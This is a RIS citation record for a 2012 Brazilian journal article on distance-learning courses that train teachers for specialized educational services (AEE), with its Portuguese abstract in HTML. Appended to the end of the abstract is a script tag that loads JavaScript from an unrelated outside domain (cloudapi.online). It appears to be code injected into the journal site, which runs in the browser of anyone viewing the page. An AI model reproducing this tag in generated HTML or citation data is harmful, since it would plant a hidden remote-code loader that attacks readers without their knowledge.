TY - JOUR AU - Siluk, Ana Cláudia Pavão AU - Pavão, Silvia Maria de Oliveira PY - 2012/11/05 Y2 - 2024/03/29 TI - Educação especial: práticas pedagógicas a distância na formação de professores para o Atendimento Educacional Especializado (AEE) JF - ETD - Educação Temática Digital JA - ETD - Educ. temat. digit. VL - 14 IS - 2 SE - Artigos DO - 10.20396/etd.v14i2.1222 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/1222 SP - 61-74 AB - <p class="Textbody"><span>A cada dia, o acelerado desenvolvimento tecnológico vem mudando a forma como se planeja e operacionaliza a implantação de cursos nas instituições de ensino. Ao panorama apontado deve ser adicionado outro conjunto de fatores que não pode, atualmente, ser ignorado e que se refere à gestão dos processos que envolvem a educação especial e a distância — EAD. Este estudo, do tipo qualitativo exploratório, tem<strong> </strong>como objetivo analisar as dimensões da metodologia de ensino, critérios avaliativos e pressupostos teóricos a partir dos quais um Curso de Atendimento Educacional Especializado - AEE se estrutura. Constatou-se que os alunos que realizaram o Curso, demonstraram bom desempenho na aprendizagem dos conteúdos desenvolvidos, ao mesmo tempo que também identificaram ações, no seu âmbito profissional, que puderam colocar em prática os preceitos estudados, no que tange à prática do AEE. Conclui-se que é preciso conhecer todos os processos que envolvem a aprendizagem por meio da educação a distância, para que se possa obter um bom desempenho nos propósitos educacionais definidos em determinado contexto. Quando se trata da formação de professores, esse cuidado é ainda mais importante, pois o acesso aos professores que desejam aprender práticas pedagógicas inovadoras deve ser favorecido.</span></p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -